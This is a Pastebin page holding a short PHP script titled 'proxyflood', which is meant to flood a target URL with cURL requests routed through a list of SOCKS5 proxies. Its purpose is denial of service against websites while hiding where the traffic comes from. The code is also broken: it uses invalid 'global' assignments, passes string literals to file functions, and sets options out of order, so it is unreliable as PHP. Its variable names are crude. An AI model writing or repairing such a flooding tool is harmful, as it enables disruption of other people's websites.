MLT

PHP - proxyflood w/ cURL (custom function)

MLT
Nov 10th, 2013
510
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.56 KB | None | 0 0
  1. <?PHP
  2.  
  3. function flood($dicks, $dongs) {
  4.  
  5. global $derp = curl_init();
  6. global $proxies = fopen("socks5.txt", "r");
  7. global $socks5 = curl_setopt($derp, CURLOPT_PROXY, $current_proxy);
  8.  
  9.  
  10. fopen("socks5.txt", "r");
  11.  
  12.     while (!feof(socks5.txt)) {
  13.  
  14.     $current_proxy = fgets($proxies);
  15.  
  16.       curl_exec($derp);
  17.    
  18.     curl_setopt($derp, CURLOPT_URL, $dicks);
  19.     curl_setopt($derp, CURLOPT_HEADER, 0);
  20.         curl_setopt($derp, CURLOPT_PROXY, $current_proxy);
  21.     fopen($dongs, "w");
  22.  
  23.         }
  24.  
  25.  
  26. fclose("socks5.txt");
  27. curl_close($derp);
  28. echo "end of proxy list reached";
  29.  
  30.     }
Advertisement
Comments
  • Comment was deleted
Add Comment
Please, Sign In to add comment